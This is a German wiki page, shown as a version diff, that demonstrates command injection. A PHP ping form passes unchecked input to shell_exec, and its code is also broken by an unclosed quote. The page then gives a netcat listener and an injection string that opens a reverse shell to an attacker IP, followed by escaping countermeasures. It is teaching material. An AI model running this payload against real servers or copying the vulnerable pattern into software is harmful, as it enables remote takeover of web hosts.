Command Injection Proof of Concept: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 4: | Zeile 4: | ||
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt. | *Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt. | ||
*In diesem Fall führen wir eine Remote Shell aus. | *In diesem Fall führen wir eine Remote Shell aus. | ||
| + | <pre> | ||
| + | <!DOCTYPE html> | ||
| + | <html> | ||
| + | <body> | ||
| + | <h2>PING</h2> | ||
| + | <form method="post"> | ||
| + | <label for="fname">IP</label><br> <input type="text" name="ip"><br> | ||
| + | <input type="submit" name="submit" value="submit"> | ||
| + | </form> | ||
| + | <br> | ||
| + | <?php | ||
| + | if(isset($_POST['submit'])) { $ip = $_POST['ip']; $cmd = 'ping -c 4. $ip; $output= shell_exec($cmd); echo "<pre> $output</pre>"; | ||
| + | } ?> | ||
| + | </html> | ||
| + | </body> | ||
| + | </pre> | ||
| + | |||
[[Datei:Command-injection.png]] | [[Datei:Command-injection.png]] | ||
Version vom 28. Juli 2021, 15:11 Uhr
PHP Code
- Bei dieser Anwendung wird die Eingabe nicht verifiziert.
- Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
- Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
- In diesem Fall führen wir eine Remote Shell aus.
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br> <input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])) { $ip = $_POST['ip']; $cmd = 'ping -c 4. $ip; $output= shell_exec($cmd); echo "<pre> $output";
} ?> </html> </body>
Angreifer
- netcat -lp 8668
Schadcode einbringen
- 1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 8668 1>/tmp/backpipe
Auf dem Angreifer
Gegenmassnahmen
- Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
- Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
- PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
- Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler:
ping -c 4 '1.1.1.1; ls'
- PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings
$output = shell_exec(escapeshellcmd($cmd));
- Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler:
ping -c 4 1.1.1.1\; ls
- Alternativ bzw. zusätzlich eigene entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.


